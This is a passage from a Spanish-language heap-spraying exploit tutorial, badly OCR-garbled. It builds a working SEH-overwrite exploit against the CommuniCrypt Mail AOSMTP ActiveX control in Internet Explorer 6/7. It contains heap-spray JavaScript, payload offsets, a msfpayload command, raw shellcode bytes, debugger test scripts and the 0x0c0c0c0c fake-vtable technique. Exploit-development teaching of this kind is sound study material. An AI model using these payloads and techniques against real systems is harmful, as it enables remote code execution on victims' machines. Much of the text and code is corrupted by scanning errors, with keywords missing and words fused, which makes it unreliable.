E'-i‘;ﬁh'l:o-hwl urﬁh‘-sm: e e X
e [Fwmeption Code:  ACCESS VICLATION s
x Disasw 41FF01 KOV [EBI).EDX  (AOSHTP DLL) T
CALOMR et adtl st SO GMT ¥ 2 S=8
CACOMP st s A0 SMT s
CACIMA st DM e B
CACOMA st el s A05MT| 11414141
CACOMA st s ADSMT
C-ACTIMR sl it st ATISMT
CALTMA sl adtL gt S0 5SMTICa | led Fros Returns To
< ---
AOSHTP 41FFO1 41414141
| Addwes | Exceghon £
E] BEEESEM |megi st ors |
EIF O041FFO1
EAX JEFEFEFE
I EEX DO42C441 -3 DS004321 -5 Oni- BCIC
Chies Emin  lecy OOFDSBAC -3 Asso: AAAAARAAAMAAARARARAAAAAAAAAAAIAAAAABSAAAANALAAARLS
DX 41414141
EDI DO140000 —» 76746341 -3 Aee: Acthet
ESI D0000104
fyn Lo EEP O013EDCLd =» hec: AAAAAANAALASAAAAANAAAAKRARAARAAKAARLALARARAAALALLR
== intabling Fiooks == ESP D013E938 —» DOFD4S6D —» hsc: “HH
TeRZIA  ComatwFisd[CVWIN
Tl CoasteFand[CVNINLe, g, Disanseably :.J

| Debug Stngs

Segun el informe, podemos controlar una entradéaeradena SEH, y
podriamos tener el control de un puntero de retguardado, asi que
vamos a tener tres escenarios posibles para expkita

Utiliza el puntero del retorno guardado paailéas a nuestro Payload.

Utiliza un puntero no valido en el lugar dereo del puntero guardado
para desencadenar una excepcion y aprovecharigroe§EH sobrescrito
para volver al Payload.

No importa el puntero de retorno guardadovéédr puede ser valido o
no, no importa), utiliza el registro SEH en su luga mira si hay otra
manera de accionar la excepcion (tal vez al aumehtamario del buffer y
ver si puedes tratar de escribir mas alla del fitgala pila del subproceso
actual.

Nos centraremos en el escenario 2.
Por lo tanto, vamos a reescribir este Exploit paAiadows XP SP3, IE7

(Sin DEP habilitado), utilizando un Heap Spray,supndo que:

* No tenemos suficiente espacio en la pila paradbid.
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e Hemos sobrescrito un registro SEH y vamos a utiliza
sobrescritura del puntero de retorno guardado parserar una
excepcion fiable.

* No hay médulos sin SafeSEH.

Primero que todo, tenemos que crear nuestro catkgbleap Spray. Ya
tenemos el cédigo (el de spray2.html), por lo qlienwevo HTML
(spray_aosmtp.html) se veria mas o menos asi:

(Sélo tienes que afadir el objeto en la parte snper

<html>
<l-- Load the AOSMTP Mail Object -->
<object classid='clsid:F8D07B72-B4B4-46 A0-ACCO0-C771 D4614B82'
id="target' ></object>
<script >
/I No olvides quitar las barras invertidas.
shellcode = ('%0u\4141%u\4141");
bigblock = ('%u\9090%u\9090");
headersize = 20;
slackspace = headersize + shellcode. ;
(bigblock. < slackspace) bigblock += higblock;
fillblock = bigblock.substring(0,slackspace);
block = bigblock.substring(0,bigblock. - slackspace);
(block. + slackspace < 0x40000) block = block + block +
fillblock;
memory = 0;
(i=0;i<500; i++){ memory][i] = block + shellco de}
</script>
</html>

Basta con insertar un objeto que debe cargar lafeflerida.

Abre este archivo en Internet Explorer 7, y despmleé®jecutar el codigo
JavaScript incrustado verifica que:

» 0x06060606 apunte a los NOP’s.
« AOSMTP.dIl se cargue en el proceso (ya que inclaiyebjeto
AOSMTP cerca el inicio de la pagina html).

(Yo usé Immunity Debugger esta vez porque es n@aksgara mostrar las
propiedades del médulo con mona).
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Address |Message

e B e 1

06060606

d

Crypt Mail~AOSMTP.ALLY

!mona module

I

Hasta aqui todo bien. El Heap Spray funciond y @aeb modulo que
necesitamos para desencadenar el desbordamiento.

A continuacién, tenemos que determinar los Offeatpuntero de retorno
guardado y registro SEH).

Usaremos un patron ciclico simple de 1000 bytea pacerlo, e invocar el
método AddAttachments vulnerable:

<html>

<l-- Load the AOSMTP Mail Object -->

<object classid="clsid:F8D07B72-B4B4-46A0-ACCO-C771 D4614B82'
id="target' ></object>

<script >
/I Exploit para CommuniCrypt Mail

/I No olvides quitar las barras invertidas.
shellcode = (‘0u\4141%u\4141");
nops = ("%u\9090%u\9090");
headersize = 20;

/I Crea un bloque con NOPs.
slackspace = headersize + shellcode.
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(nops. < slackspace) nops += nops;
fillblock= nops.substring(0, slackspace);

/I Agranda el blogue con NOPs, tamafio 0x50000.

block= nops.substring(0, nops. - slackspace);
(block. +slackspace < 0x50000) block= block+ block+

fillblock;

/I Pulveriza 250 veces : nops + shellcode
memory= 0;

( counter=0; counter<250; counter++) memory[counter ]= block +
shellcode;

(“Spray hecho, listo para activer el crash”);
/I Activa el crash.
/'mona pc 1000
payload = “<Pega el patrdn ciclico de 1000 caracter es aqui>*;

target. AddAttachments(payload);

</script>
</htm|>

Puedes simplemente pegar el patrén ciclico de é@ftteres en el script.
Debido a que estamos tratando con un buffer denpilaal, no tienes que
preocuparte acerca de Unicode o utilizar unescape.

Esta vez, attacha el depurador antes de abrirgiagaya que este Payload
crasheara el proceso del explorador.

Con este cadigo, podemos reproducir el crash:

|| [15:32:13]1 Access wviolation when executing [316A41381 — use Shift+F?/F8-F2 to pass excm to program

Por lo tanto, hemos sobrescrito el puntero de metguardado (como se
esperaba), y el registro SEH también.

El Offset para sobrescribir el puntero de retorn@mrdado es 272, el
desplazamiento en el registro SEH es 284. Deciditoogr ventaja del
hecho de que se controla un puntero de retornalgdarmpara desencadenar
una violacion de acceso con certeza, por lo qumariejador SEH se
activara.

En un Exploit SEH normal, tendriamos que encontmar puntero al

POP/POP/RET en un mdédulo sin SAFESEH vy aterrizar$eH. Estamos
usando un Heap Spray, asi que no es necesario éstoerNi siquiera
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necesitas poner algo significativo en el campo nSteH registro SEH
sobrescrito, porque nunca lo vamos a usar. Vamosdaectamente al
Heap.

Estructura del Payload

Basandose en esa informacion, la estructura déb&hge veria asi:

Puntero de SEirocoed
Basura I retorno :

guardado Basura

nseh SEHandler

272 bytes AP\ | Bbytes | AAAA | \x06\x06\x06\x06

¢ E

Vamos a sobrescribir el puntero de retorno guardamo OXxFFFFFFFF
(que daréa lugar a una excepcion con seguridaddmosg a poner AAAA en
NSEH (porque no se utiliza). Configurar el maneja®E o SE Handler a
nuestra direccién en la pila (0x06060606) es tadgue necesitamos para
redirigir el flujo hacia los NOP’s + la Shellcodar@ disparar la excepcion.

Vamos a actualizar el script y reemplazar los &hse{lcode) con BP’s:

<html>
<l-- Load the AOSMTP Mail Object -->
<object classid='clsid:F8D07B72-B4B4-46 A0-ACCO-C771 D4614B82'
id="target' ></object>
<script >
/I No olvides quitar las barras invertidas.
shellcode = (‘%ou\ccccY%ulcecec');
bigblock = ('%u\9090%u\9090";
headersize = 20;
slackspace = headersize + shellcode. ;
(bigblock. < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0,slackspace);
block = bigblock.substring(0,bigblock. - slackspace);
(block. + slackspace < 0x40000) block = block + block +
fillblock;
memory = 0;
(i=0;i<500; i++){ memory]i] = block + shellco de}

junkl ="
(junkl. < 272) junk1+=" c:

ret ="  \xf\xfi\xf\xff
junk2 =" BBBBBBBB,
nseh =" AAAA;
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seh =" \x06\x06\x06\x06 "

payload = junkl + ret + junk2 + nseh + seh;

target. AddAttachments(payload);

</script>
</html|>

Nuestro script desencadena una excepcion que anggedtutar FFFFFFFF,
gue es una direccion no valida en espacio de ws(#erland) en nuestro
entorno de 32 bits, y el registro SEH se sobresadn nuestros datos:

A cPu - threac

FEFEFEFF)
FEFFFEFF)
FFFFFEFF)
FFFFFEFF)
FFF)

FOA

v ERROR_FILENAME_

L% SEH chain of thread

Bt Mai L
i.dll

CFFFFEFEFF]

Presiona Shift F9 para pasar la excepcion a lecagdin, que deberia
activar el manejador de excepciones y realizar atio sal Heap
(06060606).

Esto ejecutara los NOP’s y finalmente nuestra &d. Dado que la
Shellcode son sdlo algunos BP’s, deberia ser algo esto:
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BYTE PTR DS:LE

Para finalizar el Exploit, tenemos que sustituif 8Bon alguna Shellcode
real. Podemos usar Metasploit para hacer esto,as@gurate de decirle a
Metasploit que emita la Shellcode en formato janpsdlittle endian en
nuestro caso).

Generar el Payload
Desde el punto de vista de la funcionalidad, no hegesidad real para
codificar la Shellcode. Nos acaba de cargar en edpHsin caracteres

malos involucrados aqui.

msfpayload windows/exec cmd=calc J

Soélo tienes que sustituir los BP’s con el resul@d@acomando msfpayload
y ya esta.

Prueba el mismo Exploit en IE6, debe
proporcionar los mismos resultados.
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Variacion

Dado que la estructura del Payload es muy simple, godriamos pasar
por alto toda la estructura y también "pulverizar'bufer de la pila con
nuestra direccion de destino. Ya que, estaremaesaibiendo un puntero
de retorno guardado y un manejador de SEH, no i@mmdmo saltemos a
nuestro Payload.

Asi, en lugar de elaborar una estructura de Paykagblemente podemos
escribir 0x06060606 en todo el lugar, y vamos mitear saltando al Heap
bien.

payload ="";
(payload. < 300) payload+=" \x06 ";

target. AddAttachments(payload);

DEP

Con DEP habilitado, las cosas son un poco difeseMey a hablar de DEP
y la necesidad u obligacion de poder realizar "Hepgay de precision” en
uno de los proximos capitulos.

Probando el Heap Spray por diversiony
seguridad

Cuando creamos cualquier tipo de Exploit, es ingmbet verificar que sea

confiable. Por supuesto, no es diferente con lagpt&prays. Ser capaz de
controlar constantemente EIP es importante, penbitn lo es saltar a tu

Payload.

Cuando utilices Heap Spray, tendras que asegutartgue el puntero es
predecible y confiable.

La Unica manera de estar seguro es probarlo, pooparobarlo.
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* Pruebalo en varios sistemas. Utilizar sistemasegtéan parcheados y
sistemas que son menos parcheado (parches dehaisigerativo,
parches de IE). Utiliza sistemas con una gran dadtde barras de
herramientas / addons instalados, etc, y los sasesin barras de
herramientas.

» Comprueba que el cédigo todavia funciona si loeersts dentro de
una pagina Web bonita. Mira si funciona si llama$Spray desde un
iframe o algo por el estilo.

» Asegurate de attachar el proceso correcto.

Usando PyDBG, puedes automatizar partes de lasbgsueDebe ser
factible tener un script de Python.

 Inicia Internet Explorer y conéctate a tu pagimaliton Heap Spray.

 Obten el PID del proceso (en caso de IE8 e IE9gmate de
conectarte al proceso correcto).

» Espera que el Spray se ejecute.

« Lee memoria de la direccion de destino y compacalo lo que
esperas que esté en esa direccidén. Guarda eldsult

« Mata el proceso y repite.

Por supuesto, también puedes utilizar un scriwaelbg para hacer mas o
menos lo mismo (IE6 e IE7).

Crea un archivospraytest.windbd' y colécalo en la carpeta del programa
Windbg 'c:\archivos de programa\Debugging Tools for Windows

bp mshtml!CDivElement::CreateElement " dd 0x0c0c0cOc;q

.logopen spraytest.log
g

Escribe un script pequefo (en Python, o lo quegss)
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» Vaya ac:\archivos de programa\Debugging Tools for Windows

» Ejecutewindbg-c "$ <spraytest.windbg" "c:\archivos de
programalinternet exploren\iexplore.exe"

http://yourwebserver/spraytest.html

« Tome el archivospraytest.logy ponlo a un lado (o copia su
contenido en un nuevo archivo. Cada vez que egdMeaDbg, el
archivospraytest.logse limpiard).

» Repita el proceso tantas veces como sea hecesario.

En el archivospraytest.html, antes de cerrat/html>, agrega una etiqueta
<div>.

<...>
(block. + slackspace < 0x40000) block = block + block +
fillblock;

memory =

0;
(i=0;i<500; i++){ memory][i] = block + shellco de}
</script>
<div>
</html>

La creacidon de esta etiqgueta debe desencadenét, eloRar el contenido
de 0x0c0c0cOc y salir (matar el proceso). El awlig registro (log) debe
tener el contenido de la direccion de destinogasisi pones el archivo de
registro a un lado, y analizas todas las entraddsjal, se puede ver cuan
eficaz y confiable era tu Heap Spray.

Opened log file 'spraytest.log'

0:013> g

0c0c0cOc 90909090 90909090 90909090 90909090
0c0cOclc 90909090 90909090 90909090 90909090
0c0c0c2c 90909090 90909090 90909090 90909090
0c0c0c3c 90909090 90909090 90909090 90909090

0c0cOc4c 90909090 90909090 90909090 90909090
0c0cOc5¢ 90909090 90909090 90909090 90909090
0c0cOc6c 90909090 90909090 90909090 90909090
0c0cOc7c¢c 90909090 90909090 90909090 90909090
quit:

Para IE8, es probable que tengas que:
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» Ejecutar Internet Explorer 8 y abrir la pagina html

« [Esperar un poco para que el Spray pueda terminar.

» Averiguar el PID del proceso correcto.

« Utilizar ntsd.exe (debe estar en la carpeta depliaaion Windbg
también) para attachar ese PID, vuelca 0x0cOcOeOnrmediato y
cierra.

» Matar todos los procesos iexplore.exe.

* Poner el archivo de registro a un lado.

* Repetir.

Script alternativo de Heap Spray

SkyLined escribié un generador de Scripts de Heapys

http://skypher.com/index.php/2010/01/18/advancelseap-spraying-size/

Este generador producira una pequefa rutina pararla cabo un Heap
Spray. Como se explica en su pagina web, el catigbleap Spray real es
un poco mas de 70 bytes (excepto la Shellcode gaeed entregar por
supuesto), y se pueden generar utilizando un f@mauén linea.

http://skypher.com/SkyLined/heap spray/small hepmys generator.htm
I

En lugar de utilizar un Payload codificado tipXXXX 0 %uXXXX , él
implementé un codificador-decodificador persona@ague le permite
limitar la sobrecarga en un grado importante.

Asi es como se puede usar el generador para erédéeap Spray pequeiio.

En primer lugar, anda al formulario en linea. Désever algo como esto:
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- &N N EITEr LT =

Heap spray generator

Tz page cant el wony geraraly 8 sl pieos of RisaSorpt that performs o hesoserey, This Ban ey v
a

8 Eha vy o BOTEY .lv--uu-r. {og. Swd 103 0304 medns iray

e gyt Eaigen
Gcl-0l 00 02 O e,
of tha haxdsi for Bap bic
M tha end of ach RoCahIE Ih-lllru.f h-"lr'\-drl &fye BNt vocotEd ol e

Shelcode.

B OF R TH I BN X oW
[has brvte vakpan]

TR 07 ¥8 EB 40 1F &8 TR

@ Ui 7 B mncodiesy (wath decoder )
e 1 bt | o0 mmending

Tat " -
gt e OCOCaCD0

i aue il

(i1 rimusltageb (80 s R0 Lt

gt BTt S arie? Caplirr [Heag Paiddd side = Cudil

Gonpln Creoms i CResTsam (e Dagder wre = & 10T}

Pacsln Frafon [hand haader sifw = {)

Other, ran hosder 5o = g8y

En el primer campo, es necesario introducir |la ISbeé. Debes pegar en
valores de byte solamente, separados por espacios.

Soélo tienes que crear alguna Shellcode rosipayload la salida comd.
Copia y pega el resultado de msfpayload en un \ache texto y
reemplazax con un espacio, y quita las comillas dobles y pyntoma al
final.

*Unsaved Document 1 - gedit

e = L
n;;ﬁz\nmmm:mmhwmw |7 *unsaved Document 1 %
s | *\xf o\ xeB\XBI\ X0 XBE\XBB\KEE\XBI\ X5\ K31\ xd2\ X6\ KBD\X52 %30

4% 837\ XB 1\ xd8\ X 5O\XBEN X485\ X 18\ xBB\ 1581204 61\ xd3\ xed "WaBbA XS24 X0\ xBL NS\ X 1\ xBDA X T2\ x 28\ 2B A xbT\ xd4a\ x 26\ X3\ T T
Q%ﬁmmwmmmmmmlmmw "3 locdxac a3 LT oy e x2c 20 xe I\ ko xBd\xB1\xc T\ xe2”
"\ Iy kTd\e2a\xTs cez\n5as | “\xTO\X52\x5T\xBb\ K52\ X 18\ x8E\ K42\ %3¢\ X081\ xdB\ B\ X481 %78\ x85"
"\ xcBh\x T4\ x4a\ x0 1\ nd@'x58% B\ x 484 x 18\ xBH\ %58 x20\ k81 \ xdI\ xe3"
"\A3c\ x49% BB\ x34\ xBb\ xB I\ xd6\ 231\ x T\ x31\xcB\ xac\ xc1\xc T\ x0d"
v "AXBIVXC T\ 38N xe®\ 7S\ x a0\ xTd\ x FB\x3b\ X 7d\ x24, x 75\ xe2\ x58"

kit i \mﬁm‘“‘w\“" *\ xBb\ x58% X 24\ 01\ kA I\ X661 X8\ X8C\ x4b\ xBbY X581 x1c} k@1 \xd 3\ x8b"

.\w'm"Www!:“m\m“ﬂmmmw‘M:mmtm, A\ x84 xBbY xB1\ xd B\ B A4\ x 24\ 24\ x5\ xSh\ X614 x50\ xS\ k51 fF

"NXeE\ k58, x5\ 52\ KBb\ X1 2\ xeb\ x86Y X5 X623\ kB1\ xBd\ xBS\ xbI\ x08 "

3200 xB8\ 1504 x68\ X 31\ xBb\ 6 T\ xBT\xf i xd 5\ xbbh x f B\ xb5\ a2\ x56"

"\ X623\ xab\ x95\ xhay xadyxf iy xd5y x3c\ X862 T c\ xBa) kB x fh\ xed\ x75"

"\ NB5Y xbb\ xd T\ 13N kT 2\ X6 T\ x62\x00N x53\ X T 1 xd5\ 163\ xG1\ KL\ xG3"
"\x08*;
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| o LaOPen v Dsave | | < Undo

| ] *Unsaved Document 1 3%

| fc B B89 00 00 80 60 82 o5 31 d2 64 Bb 52 20
8b 52 6c 8b 52 14 8b 72 28 8f b7 4a 26 31 ff
31 ¢ ac 3c 61 7c 82 2c 28 cl cf ed @1 c7 e2?
8 52 57 8b 52 10 8b 42 3c 81 do 8b 40 78 B5
cB 74 4a B1 dO 50 8b 48 18 Bb 58 20 61 d3 e3
3c 49 8b 34 8b 01 de 31 ff 31 c@ ac cl1 cf &d
B1 c7 38 e® 75 T4 83 7d 8 3b 7d 24 75 e2 58
8b 58 24 01 d3 66 8b 8¢ 4b 8b 58 1c 01 d3 8b
64 8b B1 do 89 44 24 24 5b 5b 61 59 5a 51 ff
eB 58 5T 5a 8b 12 eb 86 5d 6a ©1 8d 85 b9 86
88 66 58 68 31 8b 6f 87 ff d5 bb T b5 a2 56
68 ab 95 bd 9d ff d5 3c 86 7c Ba 80 fb e® 75
85 bb 47 13 72 6f 6a 668 52 ff d5 63 61 6C 63
8e

A continuacion, establece la direccion de destpur (efecto 0x0c0cOc0c)
y el tamafio del blogue (en multiplos de 0x1000@&$)ytLos valores por
defecto deberian funcionar bienen IE6 y 7.

Haz clic en "execute" para generar el Heap Spray.

Generated heap spray for(5=224, k=0, y=0, La"": S+k>0: L4mSrring . framCharCods (y&6553

axecule .f3e
cr¥2?, AknUf AUEE
i1 10 ~IoehARDSE  §-A0
(9 ~enedlid, B VNDES GBA AN, E
i) 0 fEox du® " PDakds (AkE
Rl68lcck, k+=T) ; for(n="
n+émniefdj=[n.sabsere (117}, L aini ]
Motes: Executing. ..ok

Pega esto en una seccion de script de JavaScrypizepagina HTML.

= skylined html |

?AUEtFE TP, TTpikaal |0 ~ID<n3d0

Abre la pagina en Internet Explorer 7. Al volcaD6@c0cOc, deberias ver
esto:
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ntdllTUbgbreakbfoint:

7c901208 co int 3

0:013» d Oclelclc

Oclclels Oc Oc O Oc Oc O Oc Oc-0c Oc Oc Oc Oc Oc Oc Oc
Oclclelc 0c Uc Oc Oc Oc Oc Oc Oc=0c Qo Q0o 0o Oc OUc Oc Oc
Oclclic2e Oc Oc Oc Oz Oc Oc Oc Oc-0c Oc Oc Oc Oc Oc Oc Oc
Oclclc3c 0Oc Oc Oc Oc Oc Oc Oc Oc-0c Oc Oc Oz Do Oc Oc Oc
Oclclcds O Oc 0o Oc Oc Oc Oc Oc-0c Oc Oc Oc Oc Oc Oc Oc
OclclcSe Oc Oc Oc Oc Oc O Oc Oc=0c Oc Oc Oc Oc Oc Oc O .. ... .. ...,
Oclclcbe 0 Oc Do O O O O Oe=0c Oc O O O O O Qe ... ...t f
Oclclc?e Oc Oc Oc Oc Oc Oc Oc Oc-0c Oc Oc Oc Oc Oc Oc Oc i L

4| | _:f_

j0:013> |

Aprenderas mas sobre el uso@@®c como NOP en uno de los capitulos
siguientes.

Mira al final del trozo del Heap donde 0xOcOcOg@ctenece, y deberias
ver la Shellcode actual.

BB Memiory - Pid 3604 - WinDboG. 1 2,0002633 i . = E - Lg! Hi
| virtuaal (O 18 EQE S |Disﬁwm:|3yte '; Piicus | Mest
O0ci§idi8 Oc Oc 0o 0o o Oc Oc Oc Oc Oc O Qo Oc Oc Oc Oc Oc Oc Oc Oc O0c O De Oc Oc Oc =
OclBfell Oc O Oz Oc Oc Oc Oc Oc Og Oc Oc Do Og Oc Oz Oc Oc Oc Oc O Oc Oc Oc Oc Oc Oc

Oci8fs?oc O Oo 0o 0o Oe Do Qo O Oz O OBc O O Og Oc 0o Oc Oc Oc Oc Oc Do Oc Oc Qg Oc

Dzl8fmds D 02 Oz Oc De Oc O Oz Oz2 02 O O O 0= Oz Oz O Oz O Oz 0= ODe Oc O O= Os

O=18ietl Oz Oz 0= O= Oe Oc Os= O O2 Oc e Oe O Oz O= 0= Oc Oz O de O Oe O Oz O= Qe

fcléieTa Oc Oc Oc Oc Bc Oc Oc Oc Oc Oc Oc Oc Oc Oc Oc Oc Oc Qe O 0= Oc De De Oc Oc (e

OclBied4 Oc Oc O0c Oc Oc Oc Oc Oc Oc Oc Oc Oc Qg O O Oe Do Oc Oc Oc Oc Do Do Oc Oc Oc

OclBimas Do Oo 0o Oc Oc Oc Oc Oc Og Oc Oc Oc Qo Oc Oz 0o Bo Oc O Oc 0o Oc De Oc Oc Oc

fclffe=d O Oz 02 O0c 0c Oc Oc O Oc Oc O O Oc Qs O O De D Oc O Oc Be De Oe Oc Oc

Uclffen O Oz Oz Oc Oc Oc O Oc Oc Oc Oe Oc Qe Qo Oc Oc Oc Oc Oc Qs Oc Oe Oc Q2 O Qe

fclffeic Oc Oc Oc Oc Oc Oc Oc Oc Oc Oc Oc Oc Oc Oc Oz Os De Oc Oc Qe Oc Oc Oc Oc Oc Oc

OciBfElE Og Og Oz Oc B Og O Og Og Oc Oc Oc O Og Og Og Oc Oc O Oc Oc Oc Oc Oc O Oc

OciBfi30 Oc Oo 0o 02 De De O O Oz Oc fc =8 B9 00 OD DO B0 B9 =5 31 d2 E4 BB 52 30 8b T..1.d . Fa.
Oelfftda 52 0c Bb 52 14 Bb 72 28 O0f BT 4a 26 31 £f 31 =0 ac 3e 6l 7e 02 22 20 ¢l cf 04 RO R. »{ .J&1.1_ _<a&|

Oelfifcd 01 e? o2 10 52 57 Bb 52 10 @b 42 3c 01 40 &b 40 78 B85 0 74 4a 01 40 50 &b 48 RO.R. B« [ O |
Oclféii7e 18 8b 58 20 01 d3 &3 3c 49 8b 34 Bb 01 d6 31 £f 31 0 ac cl cf Od 01 &7 38 =0 X <I.4 i1 8
Oc1BEfED8 75 f4 03 7d £ 3Ib 7d 24 75 =2 53 Bb 5B 24 01 d3 66 Bb dc 4b 8b 68 1c 01 d3 8b w..}. )% X X5, .. K. X
Ocifftb2 D4 Bb 01 d0 B89 44 24 24 Sb 5b 61 B9 5a 51 ff =0 58 5f 5a &b 12 =b E& 5d &a 01 DS][ [a¥2Q. X _T. 17
Oclfiftec 8d 8% BY 00 00 0O S0 &8 ] ;. Fhl.o . ¥h

Ocl1Bffes 3o 06 Pe Oa B0 ib =0 EE 05 bb 47 13 72 6f 6a 00 53 if d5 €3 61 6c 63 0D OO 00 <. | u..G.ro3 5 .cale
on
nn

0190000 00 00 00D 00 @O 00 00
0c1%001a 00 0D OD 0D 0O DO QO
N=150N34 00 0000 en_nn.nn.nn

Vision general de compatibilidad de
navegador/version vs Script de Heap Spray

Esta es una vision general de los distintos nawwgady versiones de

navegadores, probado en XP SP3, que indica siript sde Heap Spray

que hemos utilizado hasta ahora funcionara. Ersttaocasos, he probado
si el Heap Spray estaba disponible en 0x0606060& s que se indique
lo contrario.

Navegador y Version ¢ El Script de Heap Spray funciona?
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Internet Explorer 5 Si

Internet Explorer 6 Si

Internet Explorer 7 Si

Internet Explorer 8 y superiorNo

Firefox 3.6.24 Si (Mas seguro en direcciones mas altas: 0a0a0a(a, etc
Firefox 6.0.2 y superior No

Opera 11.60 Si (direcciones mas altas: 0a0a0a0a, etc)

Google Chrome 15.x No

Safari 5.1.2 No

Modificando el script sélo un poco (basicamente entando el niumero de
iteraciones cuando se pulveriza el Heap), es pmodi@cer que una
direccion como 0x0a0a0ala apunte a los NOP’s a3 tlod navegadores
antes mencionados (a excepcion de aquellos en desef script no
funciond por supuesto).

Por otro lado, como se puede ver en la tabla caatipar las nuevas
versiones de los navegadores principales paredan"psotegidos” de un
modo u otro en contra de este tipo de Heap Spraying

¢,Cuando tendria sentido usar 0x0c0cOcOc ?

Como se dijo anteriormente, una gran cantidad dptsade Heap Spray
tienen como objetivo 0x0cOcOcOc. Debe quedar da no es realmente
necesario pulverizar todo el camino hasta OcOc@ala que tu Exploit
funcione, sin embargo esta direccidon si ofrece werdaja importante en
algunos casos.

Si el Exploit sobrescribe un vtable en la pila capl@ ganas control sobre
EIP llamando a un puntero de funcion de vtable désicamente se
necesita un puntero a un puntero, o incluso unegpord un puntero a un
puntero para saltar a tu Payload (el Heap Sprastncaso).

Encontrar punteros fiables a los punteros en tomo$& de Heap recién
asignados o creado puede ser un desafio o inchysasible. Pero hay una
solucion.

Echemos un vistazo a un ejemplo sencillo paraackste concepto.

Las siguientes lineas de cédigo C++ (compatible@evC++) ayudaran a
demostrar como es un vtable:
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(vtable.c)

#include <cstdlib>
#include <iostream>

std;

corelan {

process_stuff( * input)
{
buf[20];
strcpy(buf,input);
/I Llamada de funciones virtuales.
show_on_screen(buf);
do_something_else();

show_on_screen( * buffer)

Input : %s  ",buffer);

do_something_else()

main( argc, *argVvl[])

corelan classCorelan;
classCorelan.process_stuff(argv[1]);

La clasecorelan (objeto) contiene una funcidén publica, y 2 fune@sn
virtuales. Cuando una instancia de la clase craansgtancia, untable se
creara, con 2 punteros a funciones virtuales. Guastie objeto crea un
puntero al objeto se almacena en alguna parte/(giap).

La relacion entre el objeto y las funciones redkstro de la clase tiene el
siguiente aspecto:
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Stack/Heap

Virt func 1

Virt func 2

Virt func 1 at 0x?7777777

Virt func 2 at 0x?2727777

Cuando una de las funciones virtuales dentro d@t@bnecesita ser
llamada, esa funcién (que es parte de una vtableferenciada y se llama
a través de una serie de instrucciones:

* Primero: se recupera un puntero al objeto que @oatel vtable.

* Luego: se lee un puntero a la vtable correcta.

* Finalmente: se utiliza un Offset desde el inicio ldevtable para
obtener el puntero de una funcion actual.

Digamos que el puntero al objeto se toma de laypska pone en EAX:

MOV EAX,DWORD PTR SS:[EBP+8]

Luego, se recupera un puntero a la vtable en dtwlgesde el objeto
(situado en la parte superior del objeto):

MOV EDX,DWORD PTR DS:[EAX]

Digamos que vamos a llamar a la segunda funcida gtable, por lo que
vamos a ver algo como esto:

MOV EAX,[EDX+4]
CALL EAX

A veces, estas 2 Ultimas instrucciones se comlenama sola:
[CALL EDX +4] funcionaria también en este caso,quses mas probable
que veamos una llamada que utiliza [EAX + offset].
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De todas formas, si has sobrescrito el punteroiainien la pila con
41414141, es posible obtener una violacién de accee tiene este
aspecto:

MOV EDX,DWORD PTR DS:[EAX] : Access violation readi ng 0x41414141

Si controlas esa direccion, podrias utilizar undesde desreferencias
(puntero a puntero a...) para obtener el contrddiée

Si un Heap Spray es la unica forma de entregaayloBd, esto podria ser
un problema. Encontrar un puntero a un punteroaadineccion en la pila
gue contiene el Payload se basa en la suerte dadver

Por suerte, hay otra manera de abordar esto. Cohlaap Spray, la
direccién 0x0c0c0cOc sera muy util.

En lugar de poner NOP’s + Shellcode en cada blolguéleap Spray,
pondrias una serie de 0xOc’s + la Shellcode en ttada (basicamente
reemplaza NOP’s con 0x0c), y asegurate de enteb§guray de tal manera
que la posicion de memoria 0x0cOcOcOc también ogate
0c0c0c0c0cO0cOc, etc.

Entonces, necesitas sobrescribir el puntero con(@@0c. Esto es lo que
va a suceder:

Recoge puntero al objeto:

MOV EAX,DWORD PTR SS:[EBP+8] <- put 0x0cOcOcOc in EAX

Ya que, 0x0c0c0cOc contiene 0x0c0c0OcOc, la proxmsauccion hara lo
siguiente:

MOV EDX,DWORD PTR DS:[EAX] <- put 0x0cOcOcOc in ED X

Finalmente, el puntero de funcion se lee y sezatili

Una vez mas, ya que 0x0c0cOcOc contiene 0x0cOc@ceDX+4
(0x0c0c0c0c+4) también contiene 0x0c0c0cO0c), esto gue va a suceder:

MOV EAX,[EDX+4] <- put 0x0c0c0cOc in EAX
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CALL EAX <- jump to 0x0c0c0cOc, which will s tart executing the

bytes at that address

Basicamente, 0x0cOcOcOc seria la direccion de dblet que contiene
0x0c0c0cOc y 0x0c0cOcOc y 0x0cOcOcOc y asi sucemuate. En otras
palabras, la pulverizaciéon de 0xOc ahora se camvem una vtable falsa.
Asi que, todas las referencias o llamadas termrmnsailando en esa area.

Esta es la belleza de esta configuracion. Si OXIlic contiene
0x0c0c0cOc, vamos a terminar ejecutando Oc Oc @m$kzucciones).

: AL, Bc
' AL, B0

AL, 8C
DR AL, 8C
: AL, 8C
AL, 8Cc

) Nl £

OR AL, OC. Eso es una instruccion NOP por iguaAnids ganando!

Asi, mediante el uso de una direccidon que, al &ese como Opcode,
actia como un NOP, y contiene bytes que apuntah raissno, que
facilmente puede convertir una sobreescritura detgpa 0 una vtable
destrozada en la ejecucion de codigo usando Hpagy.0x0c0c0cOc es
un ejemplo perfecto, pero puede haber otros también

En teoria, se puede utilizar cualquier Offset at@e0C, pero tienes que
asegurarte de que la direccion resultante se acamel Heap Spray (por
ejemplo 0CODOCOD).

Usar OD funciona también, sin embargo la instrutddrmada por 0D
utiliza 5 bytes, lo que puede presentar un probldenalineacion.

0D ODODODOD  OR EAX,0DODODOD

De todas formas, esto deberia explicar por qués@l0x0c0cOcOc podria
ser una idea buena y necesaria, pero en la mayeii@s casos, realmente
no necesitas pulverizar todo el camino hasta OXixlic

Dado que ésta es una direccion muy popular, queuggrobable que va a
activar las banderas o flags IDS.
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Nota: si quieres quieres leer un poco masesksr punteros de funcion
o vtables, echa un vistazo al articulaJdeathan Afek y Adi Sharabani.

Lurene Grenier https://twitter.com/#!/pusscagscribié un articulo acerca
de DEP y Heap Sprays en su blog:

http://vrt-blog.snort.org/2009/12/dep-and-heap-getstml

Metodos alternativos para pulverizar el Heap del
navegador

Imagenes

En 2006,Greg MacManus Suttony Michael de iDefensepublicaron el
documentdOda Punk

http://www.blackhat.com/presentations/bh-usa-06ABE-06-Sutton.pdf

En donde introdujo el uso de imagenes para pulveet Heap. Aunque
lanzaron algunos scripts:

http://code.google.com/p/ideflabs-tools-
archive/source/browse/labs archive/tools/JPExPuogzta

Ademas del articulo, yo no recuerdo haber vista gran cantidad de
exploits publicos que utilizan esta técnica.

Moshe Ben Abu(Trancer) devww.rec-sec.comretomo la idea de nuevo
